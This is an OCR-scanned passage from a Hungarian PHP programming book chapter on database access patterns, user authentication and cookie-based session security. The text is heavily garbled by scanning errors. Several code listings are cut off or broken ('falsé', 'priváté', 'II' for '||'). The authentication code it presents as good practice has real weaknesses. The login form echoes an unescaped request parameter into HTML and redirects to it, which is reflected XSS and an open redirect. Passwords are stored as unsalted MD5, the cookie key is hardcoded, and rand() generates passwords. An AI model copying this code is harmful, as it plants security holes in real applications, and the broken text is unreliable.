hasonlóan, ha egy kódrészlet többször is előfordul az alkalmazásban, az esetleges szerke-
zeti változtatásoknál ezek mindegyikét végig kell böngésznünk. Kódunk ezzel meglehető-
sen kezelhetetlenné válik.
Középen maradva a két szélsőség között éppen elég mozgásterünk adódik. A követke-
zőkben négy adatbázis-elérési mintát mutatunk be - a véletlen vagy ad hoc lekérdezése-
ket, valamint az aktív rekord, a leképező és az egyesített leképező mintát -, melyekkel ki-
elégíthetjük a legegyszerűbb feladatok igényeit, de sikerrel oldhatunk meg bonyolult
objektum-adat leképezési problémákat is.
Ad hoc lekérdezések
A véletlen lekérdezések {ad hoc lekérdezések) szigorú értelemben véve nem alkotnak min-
tát, de a leírtak így is sok esetben hasznunkra lehetnek. Mindenekelőtt fontos tudnunk,
hogy ad hoc lekérdezés alatt olyan lekérdezést értünk, melyet a kód egy bizonyos helyén
egy meghatározott feladat elvégzésére írunk. így például az alábbi eljárásban szereplő le-
kérdezés, mellyel a users táblában az országot frissítjük, ad hoc jellegűnek tekinthető:
A véletlen lekérdezésektől nem kell eleve tartanunk. Sőt, mivel az ilyen megoldások rend-
szerint egy adott, egyedi feladatra születnek, hangolásuk (az SQL szintjén) könnyebb,
mint az általánosabb megoldásoké. Arra azonban ügyelnünk kell, hogy az ilyen kódok
szeretnek „elszaporodni" alkalmazásainkban. Először csak egyet használunk itt, majd még
egyet amott, végül azután oda juthatunk, hogy 20 különböző lekérdezésünk lesz, melyek
mind a users tábla countrycode oszlopát módosítják. Ez valóban gondot jelent, hiszen
nagyon nehéz mindezeket a kódrészleteket elérnünk, ha a users táblát átrendezzük.
Az aktív rekord minta lényege, hogy az osztályban szerepel egy insert (), egy update (),
valamint egy delete () tagfüggvény, melyekkel összhangba hozhatjuk az objektumot
a megfelelő sorral. Rendelkezünk továbbá néhány keresőfüggvénnyel is, melyekkel objek-
tumot készíthetünk a sorok tartalmából, egy megadott változó alapján.
Lássunk most egy példát. íme a User osztály, amely a korábban megismert users tábára
épül:
require_once "DB.inc";
class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countrycode;
$user = new U s e r ( l ) ;
$user = User::findByUsername('george');
Suser = User::findByUsername('george');
$user->countrycode = 'de';
$user->update();
Az aktív rekord minta különösen jól használható olyan osztályok esetében, melyek egy-
szerű kapcsolatban állnak egyes sorokkal az adatbázisból. Egyszerűsége és eleganciája
népszerűvé teszi az egyszerű adatmodellekben, így nem meglepő módon számos saját
munkámban is használom.
A leképező minta
Az aktív rekord minta feltételezi, hogy egyszerre csak egyetlen táblával dolgozunk. A gya-
korlati életben azonban az adatbázis-szerkezet és az osztályhierarchia gyakran egymástól
függetlenül fejlődik. Ez amellett, hogy elkerülhetetlen, nem mindig káros hatású. Az, hogy
külön-külön átalakíthatjuk az adatbázist és az alkalmazást, valójában inkább jótétemény.
A leképező mintával olyan osztályt készíthetünk, mellyel egy objektumot egy meghatáro-
zott adatbázis-szerkezetbe menthetünk.
336 PHP fejlesztés felsőfokon
require_once "DB.inc";
class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countrycode;
class UserMapper {
public static function findByUserid($userid)
{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users WHERE userid = :1";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($userid, $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['countrycode']);
}
12. fejezet • Adatbázisok használata 337
A User objektum semmit nem tud arról, milyen bejegyzések felelnek meg a tartalmának
az adatbázisban. Ezért hát, ha át kell alakítanunk az adatbázis szerkezetét, nem is kell eh-
hez az objektumhoz hozzányúlnunk, elég a UserMapper-rel foglalkoznunk. Hasonlóan,
a User átalakításánál semmiféle módosításra nincs szükség az adatbázis szerkezetében.
Végeredményben tehát a leképező minta hasonlít a 2. fejezetben megismert illesztő min-
tához - ez is két dolgot köt össze, melyeknek nem kell semmit tudniuk egymásról.
$user = UserMapper::findByUsername('george');
$user->countrycode = 'us';
UserMapper::update($user);
Az újraépítés e minta használata esetén igen egyszerűen végrehajtható. Tegyük fel példá-
ul, hogy a User objektumban a felhasználó országának ISO kódja helyett a nevét szeret-
nénk használni. Az aktív rekord alkalmazásánál vagy a háttérben levő users táblát kell
módosítanunk, vagy el kell térnünk a mintától valamilyen ad hoc lekérdezéssel vagy
elérőfüggvénnyel. A leképező mintában mindössze a UserMapper osztály tárolási eljárá-
sait kell átírnunk. Lássuk előző példánkat az újraépítés után:
class User {
public $userid;
public $username;
public $firstname;
public $lastname;
public $salutation;
public $countryname;
$this->countryname = $countryname;
}
}
class UserMapper {
public static function findByUserid($userid)
{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users u, countries c
WHERE userid = :1
AND u.countrycode = c.countrycode";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
if(!$data) {
return falsé;
}
return new User($userid, $data['username'],
$data['firstname'], $data['lastname'],
$data['salutation'], $data['name']);
}
után nem csak a felhasználó rekordját olvassa ki, hanem megkeresi a megfelelő rekordot
a countries táblában is. Hasonlóan, az insert () és az update () tagfüggvények is
megkeresik az ország kódját, és ezt is frissítik.
class User {
public $userid;
public $username;
342 PHP fejlesztés felsőfokon
public $firstname;
public $lastname;
public $salutation;
public $countryname;
A kód meglehetősen ismerősnek tűnhet, hiszen gyakorlatilag teljesen az aktív rekord min-
ta alapján készült User osztály, valamint a UserMapper osztály adatbázis-kezelő kódjá-
nak egyesítéséből áll. Meglátásom szerint az, hogy a leképező részt az osztály belsejében
vagy különálló egységként valósítjuk meg, csak programozási stílus kérdése. Amellett,
hogy a tisztán leképező minta eleganciája vonzó számomra, az aktív rekord és az egyesí-
tett leképező minták megegyező felülete olyan egyszerűvé teszi az újraépítést, hogy mégis
ezeket alkalmazom a leggyakrabban.
Az eredményhalmaz korlátozása
A lekérdezések teljesítményének növelésére az egyik legegyszerűbb módszer az ered-
ményhalmaz korlátozása. Lássunk egy példát! Tegyük fel, hogy van egy fórumprogra-
munk, amelyben ki szeretnénk olvasni az N. és az N+M. közötti üzeneteket. A fórum ada-
tait tartalmazó tábla a következőképpen fest:
CREATE TABLE forum_entries (
id int not null autó increment,
author varchar(60) not null,
posted_at timestamp not null default now().
data text
);
344 PHP fejlesztés felsőfokon
A gond ezzel a módszerrel az, hogy végül azon kapjuk magunkat, hogy gyakorlatilag
a forum_entries összes sorát kiolvastuk. Még abban az esetben is, ha a keresés a $i >
$end feltétellel véget ér, a $end értékéig minden sort kiolvastunk. így ha például 10 000
fórumüzenetünk van, melyek közül a 9980-10000. sorszámúakat szeretnénk megjeleníte-
ni, meglehetősen lassú folyamat veszi kezdetét. Ha az átlagos üzenet mérete 1 KB, 10 000
ilyen üzenet kiolvasása 10 MB-nyi adat hálózati átvitelét jelenti. Nos, ez igencsak soknak
tűnik a 20 keresett bejegyzéshez képest. Ügyesebb megoldás, ha magában a lekérdezés-
ben korlátozzuk a SELECT utasítást. A MySQL-ben ez nem nehéz feladat, hiszen alkal-
mazhatjuk a SELECT utasítás LIMIT záradékát az alábbiak szerint:
A LIMIT nem része az SQL92 szabványnak, így elképzelhető, hogy rendszerünkön nem
elérhető. Az Oracle rendszereken például az alábbihoz hasonló lekérdezést kell írnunk:
$query = "SELECT a.* FROM
(SELECT * FROM forum_entries ORDER BY posted_at) a
WHERE rownum BETWEEN :1 AND :2";
A SELECT * használata szintén ellenjavallt, hiszen jelenléte olyan kódhoz vezethet, ami
függ az eredményként kapott sor mezőinek helyzetétől. Sajnos ezek a mezőhelyzetek
a tábla módosulásánál változhatnak (például ha egy oszlopot beillesztünk vagy eltávolí-
tunk). Ezen a gondon persze könnyen úrrá lehetünk, mindössze annyit kell tennünk,
hogy az eredményként kapott sorokat társításos tömbökbe írjuk.
Ne feledjük: bármilyen adat, amit a SELECT utasítással kapunk, át kell jöjjön a hálózaton,
és fel kell dolgozza a PHP. Azt se feledjük, hogy az eredményhalmaz mind a kiszolgálón,
mind az ügyfélgépen memóriát foglal. A hálózat és a memória költségei könnyen magassá
válhatnak, így fontos, hogy mindig tudjuk, pontosan milyen adatokat olvasunk ki.
Lusta előkészítés
A jól bevált lusta előkészítés (lazy initialization) alapja az, hogy addig nem olvassuk ki az
adatokat, amíg nincs szükségünk rájuk. Természetesen ez különösen akkor lehet hasznos,
ha a kívánt adatok átvitele költséges, és csak alkalmanként van szükség rájuk. Jó példa er-
re a keresőtáblák esete. Ha például egy kétirányú megfeleltetést szeretnénk készíteni az
országok nevei és ISO kódjai között, az alábbi Countries könyvtárat hozhatjuk létre:
class Countries {
public static $codeFrornName = array () ;
public static $nameFromCode = array();
A populate () függvényt, melynek feladata a tábla feltöltése, akkor hívjuk meg, amikor
a könyvtárat először betöltjük.
Lusta előkészítésnél az ország nevét egészen addig nem keressük meg, míg valóban nincs
rá szükség. íme egy olyan megoldás, amely elérőfüggvényeket használ a tábla feltöltésére
és az eredmények tárolására:
class Countries {
priváté static $nameFromCodeMap = array();
A lusta előkészítés másik alkalmazási területét az olyan táblák képezik, amelyek nagymé-
retű mezőket tartalmaznak. Példának okáért webnaplózó programom a bejegyzések táro-
lására az alábbi táblát használja:
Készítettem egy Entry nevű, az aktív rekord mintán alapuló osztályt, ami a tábla sorainak
megjelenítéséért felel. Az Entry objektum timestamp és title mezőit gyakran haszná-
lom, de a body mezőre ritkán van szükség. így például, ha mutatót szeretnék készíteni a be-
jegyzésekből, csak a címeikre és időpontjaikra van szükség. Mivel a body mező meglehető-
sen nagy lehet, semmi értelme kiolvasni, hiszen nem is használjuk a későbbiekben. Ez külö-
nösen igaz mutatók készítésénél, amikor több tíz vagy több száz bejegyzést olvasunk ki.
Annak érdekében, hogy ezt a pazarló viselkedést elkerüljük, a body mezőt lustán készít-
jük el. Alábbi példánk a____get () és a____ set () túlterhelt tulajdonságelérő (overloaded
attribute accessor) függvényeket használja, így teljességgel elrejti a lusta előkészítést a fel-
használók elől:
class Entry {
public $id;
public $title;
public $timestamp;
priváté $_body;
return $this->_body;
}
}
További olvasmányok
Az aktív rekord és a leképező mintákat Martin Fowler Patterns of Enterprise Application
Development című könyvéből vettem, mely kedvenc olvasmányaim egyike. Nagyszerű le-
írást ad a tervezési mintákról, különösen az adatok és az objektumok közti megfelelteté-
sekben használtakról.
Az adatbázisok, sőt az SQL finomhangolása jelentősen eltérhet attól függően, hogy milyen
adatbázis-kezelő rendszert használunk, ezért mindig olvassuk el rendszerünk dokumentá-
cióját, és keressük az adott területen jónak tartott könyveket.
A fenti gondokra a megoldást mi magunk adhatjuk meg azzal, hogy valamilyen módon
megvalósítjuk az állapotokat. Szerencsére ez nem olyan nehéz feladat, mint amilyennek
elsőre látszik. A hálózati protokollok gyakran állapotokkal rendelkező rétegekből állnak,
melyek állapot nélküliekre épülnek, illetve fordítva. így például a HTTP egy alkalmazás-
szintű protokoll (vagyis olyan, melynek segítségével két alkalmazás - a böngésző és
a webkiszolgáló - képes adatokat cserélni), ami a TCP-re épül.
A TCP ugyanakkor rendszerszintű protokoll (ami azt jelenti, hogy a végpontok operációs
rendszerek), amely rendelkezik állapotokkal. Ha két gép között létrejön egy TCP kapcso-
lat, az olyan, mint egy beszélgetés. Az üzenetek oda-vissza haladnak egészen addig, míg
az egyik résztvevő ki nem lép. A TCP az IP-re épül, ami ismét csak állapot nélküli proto-
koll. A TCP állapotait úgy valósítja meg, hogy csomagjaiban sorozatszámokat küld. Ezek
a számok (továbbá a végpontok hálózati címei) lehetővé teszik mindkét oldal számára,
hogy értesüljenek arról, ha lemaradtak a beszélgetés valamely részéről. A sorozatszámok
lehetőséget adnak egyúttal a hitelesítésre is, így mindkét oldal tudhatja, hogy folyamatosan
ugyanazzal a partnerrel beszél. Mindez persze azt is jelenti, hogy ha ezek a sorozatszámok
könnyen kitalálhatok, valaki egyszerűen bekapcsolódhat a beszélgetésbe, ha megfelelő
számokat használ. Erről az utolsó megjegyzésről ne feledkezzünk meg a későbbiekben.
if($row) {
$userid = $row['userid'];
}
else {
throw new AuthException("user is not authorized") ;
}
return $userid;
}
Az adatok ellenőrzése azonban még csak félsiker. Szükség van egy sémára a hitelesítés
kezelésére is. Erre alapvetően három módszer áll rendelkezésünkre: az egyszerű HTTP-
hitelesítés, a lekérdezés karakterláncának csatolása, valamint a sütik használata.
Egyszerű HTTP-hitelesítés
Az egyszerű hitelesítés a HTTP-be beépítve áll rendelkezésünkre. Ha egy kiszolgáló hite-
lesítetlen kérelmet kap egy oldalhoz, a következő fejléccel válaszol:
A RealmFoo itt egy tetszőleges név, melyet a rendszer a védett névterülethez rendel.
Az ügyfél egy base 64 kódolású felhasználónév-jelszó párral válaszol, hogy hitelesítse ma-
gát. Ez az egyszerű hitelesítés jeleníti meg azt a felhasználónév/jelszó ablakot, mellyel
számos böngészőben, rengeteg webhelyen találkozhatunk. E hitelesítési módszer jelentő-
sen vesztett népszerűségéből, mióta a böngészők szélesebb körben kezdték alkalmazni
a sütiket. Az egyszerű hitelesítés legnagyobb előnye, hogy lévén HTTP szintű módszer,
használható egy webhely összes fájljának védelmére, nemcsak a PHP programokéra.
Ez a lehetőség különösen hasznos olyan webhelyeknél, melyek videókat, hangfájlokat,
vagy képeket szolgáltatnak felhasználóik számára, hiszen így egyúttal e médiafájlok vé-
delméről is gondoskodnak. Az egyszerű hitelesítésben szereplő felhasználónév és jelszó
a PHP-ben a $_SERVER [ ' PHP_AUTH_USER' ] , illetve a $_SERVER [ ' PHP_AUTH_PW' ]
alakban kerül a programhoz.
Lássunk most példát egy hitelesítő függvényre, amely ezt az egyszerű módszert alkalmazza:
function check_auth() {
try {
check_crederitials($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
}
352 PHP fejlesztés felsőfokon
A második kifogásom e módszer ellen, hogy felmerülnek bizonyos biztonsági aggályok is,
hiszen így a felhasználó munkamenetének paramétereit mások egyszerűen lemásolhatják.
Nem kell más tenni, csak kivágni és beilleszteni egy URL-t, ami tartalmazza a munkame-
net azonosítóját, így akár véletlenül is belegázolhatunk más munkájába.
Nem is töltünk el több időt e módszer tárgyalásával, de jó, ha tudjuk, hogy az esetek
többségében létezik nála biztonságosabb és elegánsabb megoldás.
Sütik használata
A Netscape 3.0 1996-os megjelenése óta a böngészők egyre nagyobb mértékben támogat-
ják a sütik használatát. Lássuk most, mit is ért a Netscape süti (cookie) alatt:
Ha a kiszolgáló egy HTTP objektumot küld egy ügyfélnek, ezzel együtt átadhat bi-
zonyos állapotadatokat is, melyeket az ügyfél tárolhat. Az átadott állapotobjektum-
ban megtalálható azon URL-ek tartománya is, ahol az állapot érvényes. Minden ezt
követő HTTP kérelem, amely az e tartományba eső ügyfelektől származik, tartal-
mazza az állapotobjektum aktuális értékét, ami így visszakerül a kiszolgálóhoz. Ezt
az állapotobjektumot hívjuk sütinek.
3. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 353
A sütik hatalmas szolgálatot tesznek abban, hogy az állapotok fenntarthatók legyenek a ké-
relmek között. Alkalmazásuk nem korlátozódik a felhasználók egyszerű adataira és a hite-
lesítésre, hiszen bármilyen állapotjellemzők továbbíthatók bennük a kérelmek között, me-
lyek megmaradnak akkor is, ha a böngészőt időközben lekapcsolják és újraindítják.
A süti alapú hitelesítés legnagyobb hátulütője, hogy nem ad egyszerű módszert a nem
PHP oldalak védelmére. Ahhoz, hogy az Apache olvasni és értelmezni tudja a sütikben tá-
rolt adatokat, szükség van egy e célra készült Apache modulra. Persze ha az egyszerű hi-
telesítés PHP megvalósításában bármilyen bonyolultabb eljárást alkalmazunk, gyakorlati-
lag ugyanoda jutunk. így végeredményben a sütik használata nem jelent túlzottan sok fö-
lös munkát.
Felhasználók bejegyzése
Mielőtt felhasználóink hitelesítésével kezdenénk foglalkozni, tudnunk kell, egyáltalán kik-
ről is van szó. A felhasználónévre és a jelszóra mindenképpen szükség van, de emellett
hasznos lehet, ha más adatokat is begyújtunk. Sokan főként a jó jelszó elkészítésére össz-
pontosítanak (ami, ahogy a következőkben látni fogjuk, egy nehéz, de igen fontos fel-
adat), és közben az egyedi azonosítók helyes kiválasztásával nem sokat törődnek.
Saját tapasztalataim szerint webes alkalmazásokban az e-mail cím nagyszerű egyedi azo-
nosítóként szolgál. A felhasználók többsége (eltekintve a számítógépőrültektől) egyetlen
címet használ, és ehhez csak és kizárólag ő fér hozzá. Ennek eredményeképpen az e-mail
cím tökéletes egyedi azonosítót ad. Ha a bejegyzéshez megköveteljük a visszajelzést (ami
azt jelenti, hogy a felhasználónak küldünk egy e-mailt, amelyben megmondjuk, mit kell
tennie a bejegyeztetés befejezéséhez), meggyőződhetünk róla, hogy a levélcím valóban
létezik, és a bejegyzett felhasználóhoz tartozik.
A jelszavak védelme
A felhasználók - ilyen az emberi természet - általában rossz jelszavakat választanak. Szá-
mos tanulmány kimutatta, hogy amennyiben semmilyen módon nem korlátozzák őket,
a felhasználók olyan jelszavakat adnak meg, amik könnyedén kitalálhatok.
A jelszavak elleni támadások kivédésére alapvetően két megoldás létezik, jóllehet egyik
sem mondható bombabiztosnak:
Milyenek is azok a „jó" jelszavak? Nos, jellemzőjük az, hogy nehezen kitalálhatok automa-
tizált módszerekkel. Ilyen jelszavak készítésére alkalmas például az alábbi függvény:
function random_password($length=8) {
$str =
for($i=0; $i<$length; $i++) {
$str .= chr(rand(48,122));
}
return $str;
}
function good_password($password) {
if (strlen($password) < 8) {
return 0;
}
if (!preg_match(" Ad/ ", $password) ) {
return 0;
}
if(!preg_match("/[a-z]/ i " , $password)) {
return 0;
}
}
Függvényünk megköveteli, hogy a jelszó legalább nyolc karakterből álljon, és mind betű-
ket, mind számokat tartalmazzon.
356 PHP fejlesztés felsőfokon
Jó jelszót készíteni, mellyel a felhasználó is elégedett, igen nehéz feladat - sokkal egysze-
rűbb kiszűrni a rossz jelszavakat, meggátolva, hogy a felhasználók ilyeneket válasszanak.
E letiltást feloldhatjuk magunk, de elvégezhetjük egy cron feladatként is, amely minden
olyan sornál, ami egy óránál régebbi, nullázza a sikertelen próbálkozások számát.
A módszer legnagyobb hátulütője, hogy lehetővé teszi a kalózok számára, hogy szándé-
kosan rossz jelszavakkal próbálkozva meggátolják a valódi felhasználó belépését. Részle-
ges megoldásként meghatározhatjuk azon IP címeket, melyeknél valóban figyelnünk kell
a sikertelen bejelentkezésekre. A belépési rendszer védelme örökös küzdelem, hiszen
mindig akadnak biztonsági rések. Mindazonáltal fontos, hogy felmérjük, mennyi időt és
erőforrást érdemes áldoznunk egy esetleges biztonsági rés betömésére.
Furának tűnik, hogy léteznek felhasználók, akiket ilyen módon be lehet csapni, de ez
sokkal gyakrabban előfordul, mint gondolnánk. Ha a Google-lel rákeresünk az eBay-jel
kapcsolatos csalásokra, rengeteg ilyen esetet találhatunk.
Az ilyen átverések ellen igen nehéz védekezni - a gondot éppen az okozza, hogy ez nem
technikai kérdés, sikerük azon múlik, hogy a felhasználó rossz döntéseket hozzon. A baj
megelőzésére mindössze annyit tehetünk, hogy részletesen tájékoztatjuk a felhasználókat,
hogyan és mikor lépünk majd kapcsolatba velük, továbbá, hogy kifejlesztünk bennük né-
mi egészséges gyanakvást személyes adataik kiadásával szemben.
Az ördögi JavaScript
Ezt a támadási típust helyközi támadásnak (cross-site scripting) hívják. Ilyen esetben egy
rosszindulatú felhasználó valamilyen ügyfél oldali megoldással (ez többnyire JavaScript,
Flash vagy CSS kód) képes elérni, hogy nemkívánt kódot töltsünk le egy, a meglátogatni
kívánttól eltérő webhelyről.
Az állapotok kérelmek közti megőrzésének tárgyalása nem lehet teljes anélkül, hogy szót
ne ejtenénk a buktatókról. A következő néhány pontban olyan módszereket veszünk sor-
ra, melyek annak ellenére, hogy széles körben elterjedtek, nem a kívánt eredményt adják.
tatóhoz tartozunk, és ugyanazt a f oo . jpg nevű állományt szeretnénk egy webhelyről le-
tölteni, valójában csak az első kérelem lép ki a szolgáltató hálózatáról. Ezzel jelentős sáv-
szélesség takarítható meg, a sávszélesség pedig pénzt jelent.
Sok internetszolgáltató helyettes kiszolgálók fürtjeit alkalmazza annak érdekében, hogy na-
gyobb forgalmat bonyolíthasson le. A Világhálón böngészve az egymás után érkező kérel-
mek különböző helyetteseken haladhatnak át még akkor is, ha csak másodpercek választ-
ják el őket egymástól. A webkiszolgáló oldalán mindez azt jelenti, hogy ezek a kérelmek
különböző IP címekről érkeznek, vagyis a felhasználó $_SERVER [REMOTE_IP] értéke
minden további nélkül változhat egy munkameneten belül. Ezt a viselkedést könnyen
megfigyelhetjük a nagy telefonos szolgáltatók esetében.
A fenti gondok azonban eltörpülnek a másik fajta tévedési lehetőség mellett. Előfordulhat
ugyanis, hogy több különböző felhasználó kérelme ugyanarról a helyettes kiszolgálóról
érkezik, és így a $_SERVER[REMOTE_IP] értéke megegyező lesz az esetükben. Hasonló-
képpen igaz ez azoknál a felhasználóknál is, akik ugyanarról a hálózati címfordítóról kap-
csolódnak a hálózathoz (ami igen gyakran előfordul vállalati rendszerekben).
ami, az Internet Explorer 5.2-es változatát jelenti Mac OS X rendszeren. Számos olyan esz-
mecsere során, ahol a PHP munkamenetek biztonságosabbá tételéről volt szó, felmerült
az ötlet, hogy ellenőrizni kellene a $_SERVER [USER_AGENT] értékének változatlaságát
a felhasználó egymást követő kérelmeiben. Sajnálatos módon azonban itt ugyanazzal
a gonddal szembesülünk, mint a $_SERVER [REMOTE_IP] esetében. Sok internetszolgál-
tatók által készített helyettesfürt esetében előfordulhat, hogy különböző kérelmeknél vé-
gül más USER_AGENT karakterlánc átvitelére kerül sor.
A követendő módszerekről
Az előbbiekben megtárgyaltuk, milyen módszereket ne használjunk a hitelesítésben -
most szóljunk az ajánlott lehetőségekről is.
360 PHP fejlesztés felsőfokon
Titkosítás használata
A sütik minden olyan adatát, melyek kiolvasását vagy módosítását el szeretnénk kerülni,
titkosítanunk kell.
Mindig akadnak olyan programozók, akik saját titkosító algoritmusaikat alkalmazzák - hi-
ába minden intő szó. Saját titkosító algoritmust alkalmazni olyan, mintha egymagunk sze-
retnénk összeállítani egy űrrakétát. Nem fog sikerülni. Időről időre bebizonyosodik, hogy
a házilag összeállított titkosítási módszerek (még a nagy cégek fejlesztései is) nem nyújta-
nak elég biztonságot. Próbáljunk elébe menni a szinte biztos kudarcnak. Maradjunk
a sokszor áttekintett, mindenki számára elérhető, jól bevált algoritmusoknál.
Az mcrypt bővítmény segítségével számos jól bevált titkosító algoritmust érhetünk el. Mi-
vel webkiszolgálónkhoz szükségünk van mind a kódoló, mind a visszafejtő kulcsokra
(hogy írni és olvasni is tudjuk a sütiket), semmi értelme, hogy aszimmetrikus algoritmus
mellett döntsünk. Példáink a blowfish algoritmust alkalmazzák, de könnyen áttérhetünk
más módszerre is.
Az elavulás megvalósítása
A hitelesítés elavulásának megvalósítására két lehetőségünk van: a sütiket elavulttá tehet-
jük minden használat után, de időtartamhoz is köthetjük a lejáratot.
Kérelmenkénti elavulás
Mindemellett meglehetősen sok erőforrást élhetünk fel azzal, ha minden kérelemnél elké-
szítjük egy sorozat kódolt elemét. Nem csak arról van itt szó, hogy minden kérelemnél el
kell végeznünk a visszafejtést és az újrakódolást (ami egyébként szintén jelentős feladat),
hanem minden felhasználó esetében tárolnunk kell az aktuális sorozatszámot. Többki-
szolgálós környezetben ehhez egy adatbázisra van szükség, ami természetesen jelentős
költségekkel járhat. Összegzésként annyit mondhatunk, hogy az általa nyújtott védelem
mértékéhez képest ez az elavulási séma nem éri meg a fáradságot.
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 361
Felhasználók azonosítása
Nem szabad megfeledkeznünk arról sem, hogy pontosan kinek a sütijét hitelesítjük. Leg-
jobb, ha maradandó és egyértelmű azonosítókat használunk - nagyszerűen megfelel e
célra, ha sorszámokkal látjuk el felhasználóinkat.
Változatinformációk begyűjtése
Egy apró, de annál fontosabb megjegyzés: mindenféle maradandó adat, amelyről azt gon-
doljuk, hogy ügyfeleink visszaküldhetik számunkra, kell, hogy tartalmazzon változatjelző-
ket. Ezek nélkül nem lehet úgy megváltoztatni a sütik formátumát, hogy szolgáltatásunk
ne szakadna meg. Ilyenkor még a legkedvezőbb esetben is újra be kell léptetnünk az ol-
dal összes látogatóját. Ha nincs ekkora szerencsénk, és mondjuk egyetlen gépen megma-
rad a süti régi változata, komoly és nehezen felkutatható hibákkal kell szembenéznünk.
Ha nem tartjuk nyilván a változatinformációkat, kódunk meglehetősen ingataggá válhat.
Kijelentkezés
Ez a témakör nem kapcsolódik közvetlenül a sütikhez, mégis itt kell megemlítenünk. A fel-
használónak meg kell adni a lehetőséget munkamenetének befejezésére. Erről semmiféle-
képpen nem szabad megfeledkeznünk, hiszen nagyban érinti a személyes adatbiztonságot.
A kijelentkezést könnyen megvalósíthatjuk a munkamenet sütijének kiürítésével.
<?php
require_once 'Exception.inc';
class Cookie {
priváté $created;
priváté $userid;
priváté $version;
// mcrypt leírónk
priváté $td;
// az mcrypt adatai
static $cypher = 'blowfish';
static $mode = 'cfb';
static $key = 'choose a better key' ;
if ($this->version != self::$myversion) {
throw new AuthException("Version mismatch");
}
if (time() - $this->created > self::$expiration) {
throw new AuthException("Cookie expired");
} else if ( time() - $this->created > self::$resettime) {
$this->set();
}
}
public function logout() {
set_cookie(self::$cookiename, "", 0);
}
priváté function _package() {
$parts = array(self::$myversion, time(), $this->userid);
$cookie = implode($glue, $parts);
return $this->_encrypt($cookie);
}
priváté function _unpackage($cookie) {
$buffer = $this->_decrypt($cookie);
list($this->version, $this->created, $this->userid) =
explode($glue, $buffer);
if($this->version != self::$myversion II
!$this->created II
!$this->userid)
{
throw new AuthException();
}
}
priváté function _encrypt($plaintext) {
$iv = mcrypt_create_iv (mcrypt_enc_get_iv__size ($td), MCRYPT_RAND);
mcrypt_generic_init ($this->td, $this->key, $iv);
$crypttext = mcrypt_generic ($this->td, $plaintext) ;
mcrypt_generic_deinit ($this->td);
return $iv.$crypttext;
}
priváté function _decrypt($crypttext) {
$ivsize = mcrypt_get_iv_size($this->td);
$iv = substr($crypttext, 0, $ivsize);
$crypttext = substr($crypttext, $ivsize);
mcrypt_generic_init ($this->td, $this->key, $iv);
$plaintext = mdecrypt_generic ($this->td, $crypttext);
mcrypt_generic_deinit ($this->td);
return $plaintext;
}
priváté function _reissue() {
$this->created = time();
}
}
?>
364 PHP fejlesztés felsőfokon
Nos, ez egy meglehetősen bonyolult osztály, így hát kezdjük elemzését a nyilvános
felülettel. Amennyiben a konstruktornak nem adunk át felhasználóazonosítót, feltéte-
lezi, hogy a környezetből szeretnénk olvasni, így megkísérli kiolvasni és feldolgozni
a $_COOKIE változóban található sutit. A süti tárolására a $cookiename szolgál (ami
ez esetben a USERAUTH). Ha bármi gondunk akad a süti elérésével vagy visszafejtésével,
a konstruktőr egy AuthException kivételt vált ki. Ez egyébként egy egyszerű burkoló
az általános Exception osztály körül:
A set nyilvános tagfüggvény összeállítja, titkosítja és beállítja a sutit. Erre azért van szük-
ségünk, hogy kezdetben is képesek legyünk sütiket létrehozni. Figyeljük meg, hogy itt
nem állítunk be lejárati időt:
set_cookie(self::$cookiename, $cookie) ;
Végezetül, a logout tagfüggvény kiüríti a sütít, üres értékűvé teszi, 0 lejárati idővel - ez,
mivel Unix időbélyegzőkről van szó, 1969. december 31. este 7 órát jelent.
A könyvtárt a használat érdekében egy függvénybe burkoljuk, melyet minden oldal elején
meghívunk:
function check_auth() {
try {
$cookie = new Cookie();
$cookie->validate() ;
}
catch (AuthException $e) {
header("Location:
/login.php?originating_uri=".$_SERVER['REQUESTJJRI']);
exit ;
}
}
Amennyiben a felhasználó sütije nem létezik, vagy bármilyen gond adódik az ellenőrzésénél,
szintén visszakerül a bejelentkezési oldalra. Ha a $_GET értékét az origination_uri-ra ál-
lítjuk, egyszerűen visszakerülhetünk a kezdőoldalra.
A login.php egy egyszerű űrlap, amely lehetővé teszi a felhasználó számára, hogy beír-
ja azonosítóját és jelszavát. Amennyiben sikerrel járt, a rendszer beállítja munkameneti
sütijét, és visszakerül az eredeti oldalra, ahonnan jött:
<?php
require_once 'Cookie.inc';
require_once 'Authentication.inc';
require_once 'Exception.inc';
$name = $_POST['name'];
$password = $_POST['password'];
366 PHP fejlesztés felsőfokon
$uri = $_REQUEST['originating_uri'];
if(!$uri) {
$uri = ' / ' ;
}
try {
$userid = Authentication::check_credentials ($name, $password);
$cookie = new Cookie($userid);
$cookie->set();
header("Locat ion: $uri");
exit ;
}
catch (AuthException $e) {
?>
<html>
<title> Login </title>
<body>
<form name=login method=post>
Username: <input type="text" name= "name"xbr>
Password: <input type="password" name="name"xbr>
<input type="hidden" name="originating_uri"
value="<?= $_REQUEST['originating_uri'] ?>
<input type=submit name=submitted value="Login">
</form>
</body>
</html>
<?php
}
?>
class Authentication {
function check_credentials($name, $password) {
$dbh = new DB_Mysql_Prod();
$cur = $dbh->prepare("
SELECT
userid
FROM
users
WHERE
username = : 1
AND password = :2")->execute($name, md5($password));
$row = $cur->fetch_assoc();
if($row) {
$userid = $row['userid' ] ;
}
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 367
else {
throw new AuthException("user is not authorized");
}
return $userid;
}
}
Figyeljük meg, hogy a felhasználó jelszavát nem egyszerű szöveges formában tároltuk,
hanem készítettünk belőle egy MD5 kivonatot. Nagy előnye ennek a módszernek, hogy
még ha adatbázisunkat fel is törik, a felhasználók jelszavaihoz nem jutnak hozzá. Hátul-
ütője pedig az (már amennyiben annak tekintjük), hogy a felhasználók jelszavait nem tud-
juk előbányászni, csak felülírni.
Egyszeri feliratkozás
Gondoljuk most egy kicsit tovább síelős példánkat. Egyes síközpontok kapcsolatban áll-
